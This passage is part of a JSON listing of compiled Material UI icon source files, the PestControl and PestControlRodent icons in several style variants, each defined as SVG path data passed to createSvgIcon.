    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 15v-2h-3.07c-.05-.39-.12-.77-.22-1.14l2.58-1.49-1-1.73L16.92 10c-.28-.48-.62-.91-.99-1.29.04-.23.07-.46.07-.71 0-.8-.24-1.55-.65-2.18L17 4.17l-1.41-1.41-1.72 1.72c-1.68-.89-3.1-.33-3.73 0L8.41 2.76 7 4.17l1.65 1.65C8.24 6.45 8 7.2 8 8c0 .25.03.48.07.72-.37.38-.71.81-.99 1.28L4.71 8.63l-1 1.73 2.58 1.49c-.1.37-.17.75-.22 1.14H3v2h3.07c.05.39.12.77.22 1.14l-2.58 1.49 1 1.73L7.08 18c1.08 1.81 2.88 3 4.92 3s3.84-1.19 4.92-3l2.37 1.37 1-1.73-2.58-1.49c.1-.37.17-.75.22-1.14H21zm-8 2h-2v-6h2z\"\n}), 'PestControl');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 15v-2h-3.07c-.05-.39-.12-.77-.22-1.14l2.58-1.49-1-1.73L16.92 10c-.28-.48-.62-.91-.99-1.29.1-.56.2-1.69-.58-2.89L17 4.17l-1.41-1.41-1.72 1.72c-1.68-.89-3.1-.33-3.73 0L8.41 2.76 7 4.17l1.65 1.65c-.78 1.2-.68 2.34-.58 2.89-.37.39-.71.82-.99 1.29L4.71 8.63l-1 1.73 2.58 1.49c-.1.37-.17.75-.22 1.14H3v2h3.07c.05.39.12.77.22 1.14l-2.58 1.49 1 1.73L7.08 18c1.08 1.81 2.88 3 4.92 3s3.84-1.19 4.92-3l2.37 1.37 1-1.73-2.58-1.49c.1-.37.17-.75.22-1.14H21zm-9-9c.88 0 1.62.57 1.88 1.36C13.29 7.13 12.66 7 12 7s-1.29.13-1.88.36C10.38 6.57 11.12 6 12 6m0 13c-2.21 0-4-2.24-4-5s1.79-5 4-5 4 2.24 4 5-1.79 5-4 5\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11h2v6h-2z\"\n}, \"1\")], 'PestControlOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 15v-2h-3.07c-.05-.39-.12-.77-.22-1.14l2.58-1.49-1-1.73L16.92 10c-.28-.48-.62-.91-.99-1.29.1-.56.2-1.69-.58-2.89L17 4.17l-1.41-1.41-1.72 1.72c-1.68-.89-3.1-.33-3.73 0L8.41 2.76 7 4.17l1.65 1.65c-.78 1.2-.68 2.34-.58 2.89-.37.39-.71.82-.99 1.29L4.71 8.63l-1 1.73 2.58 1.49c-.1.37-.17.75-.22 1.14H3v2h3.07c.05.39.12.77.22 1.14l-2.58 1.49 1 1.73L7.08 18c1.08 1.81 2.88 3 4.92 3s3.84-1.19 4.92-3l2.37 1.37 1-1.73-2.58-1.49c.1-.37.17-.75.22-1.14H21zm-9-9c.88 0 1.62.57 1.88 1.36C13.29 7.13 12.66 7 12 7s-1.29.13-1.88.36C10.38 6.57 11.12 6 12 6m0 13c-2.21 0-4-2.24-4-5s1.79-5 4-5 4 2.24 4 5-1.79 5-4 5\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11h2v6h-2z\"\n}, \"1\")], 'PestControlOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlRodent.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.31 17.38-2.39-2.13c.52-2.36-1.36-4.25-3.42-4.25-1.16 0-3.5.9-3.5 3.5 0 .97.39 1.84 1.03 2.47l-.71.71C11.5 16.87 11 15.74 11 14.5c0-1.7.96-3.17 2.35-3.93-.7-.36-1.48-.57-2.28-.57-2.38 0-4.37 1.65-4.91 3.87C4.91 13.5 4 12.36 4 11c0-1.66 1.34-3 3-3h2.5C10.88 8 12 6.88 12 5.5S10.88 3 9.5 3H8c-.55 0-1 .45-1 1s.45 1 1 1h1.5c.28 0 .5.22.5.5s-.22.5-.5.5H7c-2.76 0-5 2.24-5 5 0 2.42 1.72 4.44 4 4.9v.03C6 18.73 8.27 21 11.07 21h8.86c1.87 0 2.81-2.34 1.38-3.62M18 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PestControlRodent');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlRodent.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.31 17.38-2.39-2.13c.52-2.36-1.36-4.25-3.42-4.25-1.16 0-3.5.9-3.5 3.5 0 .97.39 1.84 1.03 2.47l-.71.71C11.5 16.87 11 15.74 11 14.5c0-1.7.96-3.17 2.35-3.93-.7-.36-1.48-.57-2.28-.57-2.38 0-4.37 1.65-4.91 3.87C4.91 13.5 4 12.36 4 11c0-1.66 1.34-3 3-3h2.5C10.88 8 12 6.88 12 5.5S10.88 3 9.5 3H8c-.55 0-1 .45-1 1s.45 1 1 1h1.5c.28 0 .5.22.5.5s-.22.5-.5.5H7c-2.76 0-5 2.24-5 5 0 2.42 1.72 4.44 4 4.9v.03C6 18.73 8.27 21 11.07 21h8.86c1.87 0 2.81-2.34 1.38-3.62M18 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PestControlRodent');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlRodentOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"17\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.86 14.97-.93-.84c.48-3.45-2.87-6.04-6.05-4.82C13.3 9.11 12.66 9 12 9c-4.26 0-5.65 3.58-5.89 4.85C4.89 13.47 4 12.35 4 11c0-1.66 1.34-3 3-3h2.5C10.88 8 12 6.88 12 5.5S10.88 3 9.5 3H8c-.55 0-1 .45-1 1s.45 1 1 1h1.5c.28 0 .5.22.5.5s-.22.5-.5.5H7c-2.76 0-5 2.24-5 5 0 2.44 1.76 4.47 4.07 4.91C6.51 18.79 8.99 21 12 21h6.53c3.11 0 4.7-3.89 2.33-6.03M18.53 19H12c-1.21 0-2.34-.54-3.11-1.48-.78-.95-1.06-2.16-.8-3.41.31-1.48 1.51-2.69 2.99-3.01.22-.05.45-.06.67-.07-.47.71-.75 1.55-.75 2.47 0 1.24.5 2.37 1.32 3.18l1.41-1.41c-.45-.45-.73-1.08-.73-1.77 0-1.42 1.2-2.5 2.5-2.5 1.38 0 2.5 1.12 2.5 2.5 0 .46-.13.88-.35 1.25l1.87 1.7c.31.28.48.67.48 1.09 0 .8-.66 1.46-1.47 1.46\"\n}, \"1\")], 'PestControlRodentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlRodentOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"17\",\n  r: \"1\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.86 14.97-.93-.84c.48-3.45-2.87-6.04-6.05-4.82C13.3 9.11 12.66 9 12 9c-4.26 0-5.65 3.58-5.89 4.85C4.89 13.47 4 12.35 4 11c0-1.66 1.34-3 3-3h2.5C10.88 8 12 6.88 12 5.5S10.88 3 9.5 3H8c-.55 0-1 .45-1 1s.45 1 1 1h1.5c.28 0 .5.22.5.5s-.22.5-.5.5H7c-2.76 0-5 2.24-5 5 0 2.44 1.76 4.47 4.07 4.91C6.51 18.79 8.99 21 12 21h6.53c3.11 0 4.7-3.89 2.33-6.03M18.53 19H12c-1.21 0-2.34-.54-3.11-1.48-.78-.95-1.06-2.16-.8-3.41.31-1.48 1.51-2.69 2.99-3.01.22-.05.45-.06.67-.07-.47.71-.75 1.55-.75 2.47 0 1.24.5 2.37 1.32 3.18l1.41-1.41c-.45-.45-.73-1.08-.73-1.77 0-1.42 1.2-2.5 2.5-2.5 1.38 0 2.5 1.12 2.5 2.5 0 .46-.13.88-.35 1.25l1.87 1.7c.31.28.48.67.48 1.09 0 .8-.66 1.46-1.47 1.46\"\n}, \"1\")], 'PestControlRodentOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlRodentRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.31 17.38-2.39-2.13c.52-2.36-1.36-4.25-3.42-4.25-1.16 0-3.5.9-3.5 3.5 0 .81.27 1.55.74 2.15.15.2.14.48-.04.66-.21.21-.56.19-.75-.04-.6-.77-.95-1.73-.95-2.77 0-1.7.96-3.17 2.35-3.93-.7-.36-1.48-.57-2.28-.57-2.38 0-4.37 1.65-4.91 3.87-1.33-.39-2.28-1.66-2.15-3.14C4.15 9.16 5.54 8 7.11 8h2c1.58 0 2.75-.95 2.87-2.25C12.13 4.25 10.96 3 9.5 3H8.05c-.5 0-.96.34-1.04.83C6.91 4.46 7.39 5 8 5h1.5c.28 0 .5.22.5.5s-.22.5-.5.5H7.16c-2.67 0-4.99 2.03-5.15 4.7-.15 2.55 1.61 4.72 3.99 5.2v.03C6 18.73 8.27 21 11.07 21h8.86c1.87 0 2.81-2.34 1.38-3.62M18 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PestControlRodentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlRodentRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.31 17.38-2.39-2.13c.52-2.36-1.36-4.25-3.42-4.25-1.16 0-3.5.9-3.5 3.5 0 .81.27 1.55.74 2.15.15.2.14.48-.04.66-.21.21-.56.19-.75-.04-.6-.77-.95-1.73-.95-2.77 0-1.7.96-3.17 2.35-3.93-.7-.36-1.48-.57-2.28-.57-2.38 0-4.37 1.65-4.91 3.87-1.33-.39-2.28-1.66-2.15-3.14C4.15 9.16 5.54 8 7.11 8h2c1.58 0 2.75-.95 2.87-2.25C12.13 4.25 10.96 3 9.5 3H8.05c-.5 0-.96.34-1.04.83C6.91 4.46 7.39 5 8 5h1.5c.28 0 .5.22.5.5s-.22.5-.5.5H7.16c-2.67 0-4.99 2.03-5.15 4.7-.15 2.55 1.61 4.72 3.99 5.2v.03C6 18.73 8.27 21 11.07 21h8.86c1.87 0 2.81-2.34 1.38-3.62M18 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PestControlRodentRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlRodentSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m21.31 17.38-2.39-2.13c.52-2.36-1.36-4.25-3.42-4.25-1.16 0-3.5.9-3.5 3.5 0 .97.39 1.84 1.03 2.47l-.71.71C11.5 16.87 11 15.74 11 14.5c0-1.7.96-3.17 2.35-3.93-.7-.36-1.48-.57-2.28-.57-2.38 0-4.37 1.65-4.91 3.87C4.91 13.5 4 12.36 4 11c0-1.66 1.34-3 3-3h2.5C10.88 8 12 6.88 12 5.5S10.88 3 9.5 3H7v2h2.5c.28 0 .5.22.5.5s-.22.5-.5.5H7c-2.76 0-5 2.24-5 5 0 2.42 1.72 4.44 4 4.9v.03C6 18.73 8.27 21 11.07 21h8.86c1.87 0 2.81-2.34 1.38-3.62M18 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PestControlRodentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlRodentSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m21.31 17.38-2.39-2.13c.52-2.36-1.36-4.25-3.42-4.25-1.16 0-3.5.9-3.5 3.5 0 .97.39 1.84 1.03 2.47l-.71.71C11.5 16.87 11 15.74 11 14.5c0-1.7.96-3.17 2.35-3.93-.7-.36-1.48-.57-2.28-.57-2.38 0-4.37 1.65-4.91 3.87C4.91 13.5 4 12.36 4 11c0-1.66 1.34-3 3-3h2.5C10.88 8 12 6.88 12 5.5S10.88 3 9.5 3H7v2h2.5c.28 0 .5.22.5.5s-.22.5-.5.5H7c-2.76 0-5 2.24-5 5 0 2.42 1.72 4.44 4 4.9v.03C6 18.73 8.27 21 11.07 21h8.86c1.87 0 2.81-2.34 1.38-3.62M18 19c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'PestControlRodentSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlRodentTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.65 14.75c.22-.37.35-.79.35-1.25 0-1.38-1.12-2.5-2.5-2.5-1.3 0-2.5 1.08-2.5 2.5 0 .69.28 1.32.73 1.77l-1.41 1.41C11.5 15.87 11 14.74 11 13.5c0-.92.28-1.76.75-2.47-.22.01-.44.02-.67.07-1.48.32-2.68 1.53-2.99 3.01-.26 1.24.02 2.45.8 3.41.77.94 1.9 1.48 3.11 1.48h6.53c.81 0 1.47-.66 1.47-1.47 0-.41-.17-.81-.48-1.09zM17 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"17\",\n  cy: \"17\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.86 14.97-.93-.84c.48-3.45-2.87-6.04-6.05-4.82C13.3 9.11 12.66 9 12 9c-4.26 0-5.65 3.58-5.89 4.85C4.89 13.47 4 12.35 4 11c0-1.66 1.34-3 3-3h2.5C10.88 8 12 6.88 12 5.5S10.88 3 9.5 3H8c-.55 0-1 .45-1 1s.45 1 1 1h1.5c.28 0 .5.22.5.5s-.22.5-.5.5H7c-2.76 0-5 2.24-5 5 0 2.44 1.76 4.47 4.07 4.91C6.51 18.79 8.99 21 12 21h6.53c3.11 0 4.7-3.89 2.33-6.03M18.53 19H12c-1.21 0-2.34-.54-3.11-1.48-.78-.95-1.06-2.16-.8-3.41.31-1.48 1.51-2.69 2.99-3.01.22-.05.45-.06.67-.07-.47.71-.75 1.55-.75 2.47 0 1.24.5 2.37 1.32 3.18l1.41-1.41c-.45-.45-.73-1.08-.73-1.77 0-1.42 1.2-2.5 2.5-2.5 1.38 0 2.5 1.12 2.5 2.5 0 .46-.13.88-.35 1.25l1.87 1.7c.31.28.48.67.48 1.09 0 .8-.66 1.46-1.47 1.46\"\n}, \"2\")], 'PestControlRodentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlRodentTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.65 14.75c.22-.37.35-.79.35-1.25 0-1.38-1.12-2.5-2.5-2.5-1.3 0-2.5 1.08-2.5 2.5 0 .69.28 1.32.73 1.77l-1.41 1.41C11.5 15.87 11 14.74 11 13.5c0-.92.28-1.76.75-2.47-.22.01-.44.02-.67.07-1.48.32-2.68 1.53-2.99 3.01-.26 1.24.02 2.45.8 3.41.77.94 1.9 1.48 3.11 1.48h6.53c.81 0 1.47-.66 1.47-1.47 0-.41-.17-.81-.48-1.09zM17 18c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"17\",\n  cy: \"17\",\n  r: \"1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.86 14.97-.93-.84c.48-3.45-2.87-6.04-6.05-4.82C13.3 9.11 12.66 9 12 9c-4.26 0-5.65 3.58-5.89 4.85C4.89 13.47 4 12.35 4 11c0-1.66 1.34-3 3-3h2.5C10.88 8 12 6.88 12 5.5S10.88 3 9.5 3H8c-.55 0-1 .45-1 1s.45 1 1 1h1.5c.28 0 .5.22.5.5s-.22.5-.5.5H7c-2.76 0-5 2.24-5 5 0 2.44 1.76 4.47 4.07 4.91C6.51 18.79 8.99 21 12 21h6.53c3.11 0 4.7-3.89 2.33-6.03M18.53 19H12c-1.21 0-2.34-.54-3.11-1.48-.78-.95-1.06-2.16-.8-3.41.31-1.48 1.51-2.69 2.99-3.01.22-.05.45-.06.67-.07-.47.71-.75 1.55-.75 2.47 0 1.24.5 2.37 1.32 3.18l1.41-1.41c-.45-.45-.73-1.08-.73-1.77 0-1.42 1.2-2.5 2.5-2.5 1.38 0 2.5 1.12 2.5 2.5 0 .46-.13.88-.35 1.25l1.87 1.7c.31.28.48.67.48 1.09 0 .8-.66 1.46-1.47 1.46\"\n}, \"2\")], 'PestControlRodentTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 14c0-.55-.45-1-1-1h-2.07c-.05-.39-.12-.77-.22-1.14l1.72-.99c.48-.28.64-.89.37-1.37-.28-.48-.89-.64-1.37-.37l-1.51.87c-.28-.48-.62-.91-.99-1.29.04-.23.07-.46.07-.71 0-.8-.24-1.55-.65-2.18l.94-.94c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-1.02 1.02c-1.68-.89-3.1-.33-3.73 0L9.12 3.46a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.94.94C8.24 6.45 8 7.2 8 8c0 .25.03.48.07.72-.37.38-.71.81-.99 1.28l-1.51-.87c-.48-.27-1.09-.11-1.36.37-.28.48-.11 1.09.37 1.37l1.72.99c-.1.37-.17.75-.22 1.14H4c-.55 0-1 .45-1 1s.45 1 1 1h2.07c.05.39.12.77.22 1.14l-1.72.99c-.48.28-.64.89-.37 1.37.28.48.89.64 1.37.37L7.08 18c1.08 1.81 2.88 3 4.92 3s3.84-1.19 4.92-3l1.51.87c.48.28 1.09.11 1.37-.37s.11-1.09-.37-1.37l-1.72-.99c.1-.37.17-.75.22-1.14H20c.55 0 1-.45 1-1m-9 3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1\"\n}), 'PestControlRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 14c0-.55-.45-1-1-1h-2.07c-.05-.39-.12-.77-.22-1.14l1.72-.99c.48-.28.64-.89.37-1.37-.28-.48-.89-.64-1.37-.37l-1.51.87c-.28-.48-.62-.91-.99-1.29.04-.23.07-.46.07-.71 0-.8-.24-1.55-.65-2.18l.94-.94c.39-.39.39-1.02 0-1.41a.996.996 0 0 0-1.41 0l-1.02 1.02c-1.68-.89-3.1-.33-3.73 0L9.12 3.46a.996.996 0 0 0-1.41 0c-.39.39-.39 1.02 0 1.41l.94.94C8.24 6.45 8 7.2 8 8c0 .25.03.48.07.72-.37.38-.71.81-.99 1.28l-1.51-.87c-.48-.27-1.09-.11-1.36.37-.28.48-.11 1.09.37 1.37l1.72.99c-.1.37-.17.75-.22 1.14H4c-.55 0-1 .45-1 1s.45 1 1 1h2.07c.05.39.12.77.22 1.14l-1.72.99c-.48.28-.64.89-.37 1.37.28.48.89.64 1.37.37L7.08 18c1.08 1.81 2.88 3 4.92 3s3.84-1.19 4.92-3l1.51.87c.48.28 1.09.11 1.37-.37s.11-1.09-.37-1.37l-1.72-.99c.1-.37.17-.75.22-1.14H20c.55 0 1-.45 1-1m-9 3c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1s1 .45 1 1v4c0 .55-.45 1-1 1\"\n}), 'PestControlRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 15v-2h-3.07c-.05-.39-.12-.77-.22-1.14l2.58-1.49-1-1.73L16.92 10c-.28-.48-.62-.91-.99-1.29.04-.23.07-.46.07-.71 0-.8-.24-1.55-.65-2.18L17 4.17l-1.41-1.41-1.72 1.72c-1.68-.89-3.1-.33-3.73 0L8.41 2.76 7 4.17l1.65 1.65C8.24 6.45 8 7.2 8 8c0 .25.03.48.07.72-.37.38-.71.81-.99 1.28L4.71 8.63l-1 1.73 2.58 1.49c-.1.37-.17.75-.22 1.14H3v2h3.07c.05.39.12.77.22 1.14l-2.58 1.49 1 1.73L7.08 18c1.08 1.81 2.88 3 4.92 3s3.84-1.19 4.92-3l2.37 1.37 1-1.73-2.58-1.49c.1-.37.17-.75.22-1.14H21zm-8 2h-2v-6h2z\"\n}), 'PestControlSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 15v-2h-3.07c-.05-.39-.12-.77-.22-1.14l2.58-1.49-1-1.73L16.92 10c-.28-.48-.62-.91-.99-1.29.04-.23.07-.46.07-.71 0-.8-.24-1.55-.65-2.18L17 4.17l-1.41-1.41-1.72 1.72c-1.68-.89-3.1-.33-3.73 0L8.41 2.76 7 4.17l1.65 1.65C8.24 6.45 8 7.2 8 8c0 .25.03.48.07.72-.37.38-.71.81-.99 1.28L4.71 8.63l-1 1.73 2.58 1.49c-.1.37-.17.75-.22 1.14H3v2h3.07c.05.39.12.77.22 1.14l-2.58 1.49 1 1.73L7.08 18c1.08 1.81 2.88 3 4.92 3s3.84-1.19 4.92-3l2.37 1.37 1-1.73-2.58-1.49c.1-.37.17-.75.22-1.14H21zm-8 2h-2v-6h2z\"\n}), 'PestControlSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 9c-2.21 0-4 2.24-4 5s1.79 5 4 5 4-2.24 4-5-1.79-5-4-5m1 8h-2v-6h2zm.88-9.64C13.62 6.57 12.88 6 12 6s-1.62.57-1.88 1.36C10.71 7.13 11.34 7 12 7s1.29.13 1.88.36\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 15v-2h-3.07c-.05-.39-.12-.77-.22-1.14l2.58-1.49-1-1.73L16.92 10c-.28-.48-.62-.91-.99-1.29.1-.56.2-1.69-.58-2.89L17 4.17l-1.41-1.41-1.72 1.72c-1.68-.89-3.1-.33-3.73 0L8.41 2.76 7 4.17l1.65 1.65c-.78 1.2-.68 2.34-.58 2.89-.37.39-.71.82-.99 1.29L4.71 8.63l-1 1.73 2.58 1.49c-.1.37-.17.75-.22 1.14H3v2h3.07c.05.39.12.77.22 1.14l-2.58 1.49 1 1.73L7.08 18c1.08 1.81 2.88 3 4.92 3s3.84-1.19 4.92-3l2.37 1.37 1-1.73-2.58-1.49c.1-.37.17-.75.22-1.14H21zm-9-9c.88 0 1.62.57 1.88 1.36C13.29 7.13 12.66 7 12 7s-1.29.13-1.88.36C10.38 6.57 11.12 6 12 6m0 13c-2.21 0-4-2.24-4-5s1.79-5 4-5 4 2.24 4 5-1.79 5-4 5\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11h2v6h-2z\"\n}, \"2\")], 'PestControlTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/PestControlTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 9c-2.21 0-4 2.24-4 5s1.79 5 4 5 4-2.24 4-5-1.79-5-4-5m1 8h-2v-6h2zm.88-9.64C13.62 6.57 12.88 6 12 6s-1.62.57-1.88 1.36C10.71 7.13 11.34 7 12 7s1.29.13 1.88.36\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 15v-2h-3.07c-.05-.39-.12-.77-.22-1.14l2.58-1.49-1-1.73L16.92 10c-.28-.48-.62-.91-.99-1.29.1-.56.2-1.69-.58-2.89L17 4.17l-1.41-1.41-1.72 1.72c-1.68-.89-3.1-.33-3.73 0L8.41 2.76 7 4.17l1.65 1.65c-.78 1.2-.68 2.34-.58 2.89-.37.39-.71.82-.99 1.29L4.71 8.63l-1 1.73 2.58 1.49c-.1.37-.17.75-.22 1.14H3v2h3.07c.05.39.12.77.22 1.14l-2.58 1.49 1 1.73L7.08 18c1.08 1.81 2.88 3 4.92 3s3.84-1.19 